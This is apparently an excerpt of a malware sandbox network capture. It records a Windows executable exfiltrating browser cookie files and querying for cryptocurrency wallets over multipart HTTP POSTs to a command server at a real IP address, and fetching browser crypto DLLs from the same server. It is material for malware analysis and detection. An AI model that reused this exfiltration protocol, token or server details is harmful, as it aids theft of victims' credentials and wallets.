name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------ECGDHDHJEBGHJKFIECBG--
Nov 23, 2024 09:16:39.606519938 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:16:39.789693117 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="file"------BGDGHJEHJJDAAAKEBGCF--
Nov 23, 2024 09:16:40.735491037 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49816	185.215.113.206	80	7040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:16:47.521421909 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 09:16:47.521464109 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 23, 2024 09:16:49.424812078 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:16:49.523248911 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIEBGHDAEBGDGCFIID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 45 42 47 48 44 41 45 42 47 44 47 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGIEBGHDAEBGDGCFIIDContent-Disposition: form-data; name="file"------HDGIEBGHDAEBGDGCFIID--
Nov 23, 2024 09:16:50.475023031 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:16:51.212704897 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:51.663815975 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 09:16:51.663841009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 09:16:51.663850069 CET	248	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 09:16:51.664036036 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 23, 2024 09:16:51.664107084 CET	1236	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -
Nov 23, 2024 09:16:51.664118052 CET	448	IN	Data Raw: 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 c7 47 08 01 Data Ascii: EGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF
Nov 23, 2024 09:16:51.664150953 CET	1236	IN	Data Raw: 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff e9 99 00 00 00 8b 75 10 8b 48 18 8b 1f ff 15 00 80 0a 10 ff 75 14 56 ff Data Ascii: WVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh
Nov 23, 2024 09:16:51.664161921 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d Data Ascii: USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u
Nov 23, 2024 09:16:51.672920942 CET	1236	IN	Data Raw: 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 Data Ascii: ffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0f
Nov 23, 2024 09:16:51.673034906 CET	1236	IN	Data Raw: c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 Data Ascii: U}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\
Nov 23, 2024 09:16:53.346286058 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:53.797859907 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 09:16:54.682595968 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:55.148650885 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 09:16:55.844079971 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:56.295356035 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 09:16:59.544578075 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:59.995709896 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 09:17:00.634160995 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:17:01.090097904 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 09:17:01.808737993 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGDHCBAEHIDGCGIDA Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 09:17:02.763457060 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:17:02.902956009 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="message"wallets------IDHIEBAAKJDHIECAAFHC--
Nov 23, 2024 09:17:03.357826948 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 